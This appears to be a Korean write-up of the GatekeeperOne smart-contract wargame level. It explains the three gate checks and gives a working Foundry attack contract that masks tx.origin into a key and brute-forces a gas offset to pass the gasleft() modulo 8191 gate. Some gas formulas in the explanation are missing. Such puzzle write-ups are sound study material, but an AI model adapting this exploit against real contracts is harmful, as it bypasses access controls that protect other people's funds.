gasleft()현재 남은 가스를 리턴함
EVM은 매 opcode마다 가스를 소모하므로,
함수 시작부터 gateTwo 체크 줄까지 오는 동안에도 계속 깎여나감.
그래서 gateTwo 시점의 남은 가스는 대략:
여기서 overhead는
gateOne, gateTwo, gateThree 3가지 조건을 모두 만족시켜 enter 함수를 실행하는 것
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
로직 정리
gateOne 조건을 통과하기 위해서라면 새 GatekeeperOne 컨트랙트를 짜면 된다gateTwo 조건을 통과하기 위해서 gasleft를 맞춰야 한다.gateTwo를 통과할 때 정확히 gas가 얼마나 남아있을지 모르므로 8191에 대해서 오프셋을 brute-force 해야 한다.gateThree조건을 만족하는 gateKey 인자를 줘야한다.b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7]이라고 할 때gateKey를 uint32로 캐스팅한 값과 uint16으로 캐스팅한 값이 같아야 한다b[4], b[5] == 0)gateKey를 uint32로 캐스팅한 값이 uint64로 캐스팅한 값과 달라야 한다gateKey의 하위 2바이트가 tx.origin의 하위 2바이트와 같아야 한다bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FF// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {GatekeeperOne} from "../src/GatekeeperOne.sol";
contract Attack {
GatekeeperOne public gatekeeperone;
bytes8 public gatekey;
event SuccessOn(uint256 i, uint256 gasUsed);
constructor(address _target) {
gatekeeperone = GatekeeperOne(_target);
}
function attack() external {
gatekey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
// gas는 환경에 따라 달라서 brute-force로 offset 맞추는 방식
for (uint256 i = 0; i < 300; i++) {
(bool success, ) = address(gatekeeperone).call{gas: 8191 * 5 + i}(
abi.encodeWithSignature("enter(bytes8)", gatekey)
);
if (success) {
emit SuccessOn(i, 8191 * 5 + i);
return;
}
}
}
}
contract PoC is Script {
address constant target = 0x6A4606F1b169553Ef4a14735Ed704a15F0aBaAbF;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
Attack attack = new Attack(target);
attack.attack();
vm.stopBroadcast();
}
}